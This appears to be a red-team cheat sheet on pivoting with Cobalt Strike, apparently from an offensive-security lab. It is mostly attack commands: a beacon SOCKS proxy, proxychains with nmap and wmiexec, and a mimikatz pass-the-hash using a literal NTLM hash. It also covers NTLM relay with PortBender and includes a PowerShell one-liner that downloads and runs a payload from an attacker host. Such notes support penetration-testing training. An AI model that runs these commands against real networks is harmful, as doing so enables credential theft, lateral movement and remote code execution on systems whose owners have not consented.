githubEdit

Pivoting

Pivoting

Enable Socks Proxy in beacon session (Use SOCKS 5 for better OPSEC)

beacon> socks 1080 socks5 disableNoAuth socks_user socks_password enableLogging

Verify the SOCKS proxy on team server

attacker@ubuntu ~> sudo ss -lpnt

Configure Proxychains in Linux

$ sudo vim /etc/proxychains.conf
socks5 127.0.0.1 1080 socks_user socks_password

$attacker@ubuntu ~> proxychains nmap -n -Pn -sT -p445,3389,4444,5985 10.10.122.10
ubuntu@DESKTOP-3BSK7NO ~ > proxychains wmiexec.py DEV/jking@10.10.122.30

Use Proxifier for Windows environment

ps> runas /netonly /user:dev/bfarmer mmc.exe
ps> mimikatz # privilege::debug
ps> mimikatz # sekurlsa::pth /domain:DEV /user:bfarmer /ntlm:4ea24377a53e67e78b2bd853974420fc /run:mmc.exe
PS C:\Users\Attacker> $cred = Get-Credential
PS C:\Users\Attacker> Get-ADComputer -Server 10.10.122.10 -Filter * -Credential $cred | select

Use FoxyProxy plugin to access Webportal via SOCKS Proxy

Reverse Port Forward (if teamserver is not directly accessible, then use rportfwd to redirect traffic)

NTLM Relay

  1. Setup SOCKS Proxy on the beacon

  2. Setup Proxychains to use this proxy

  3. Use Proxychain to send NTLMRelay traffic to beacon targeting DC and encoded SMB Payload for execution

Encoded command: iex (new-object net.webclient).downloadstring("http://10.10.123.102:8080/b")

  1. Setup reverse port forwarding

  2. Upload PortBender driver and load its .cna file

  3. Manually try to access share on our system or use MSPRN, Printspooler to force authentication

  4. Verify the access in weblog and use link command to connect with SMB beacon

Last updated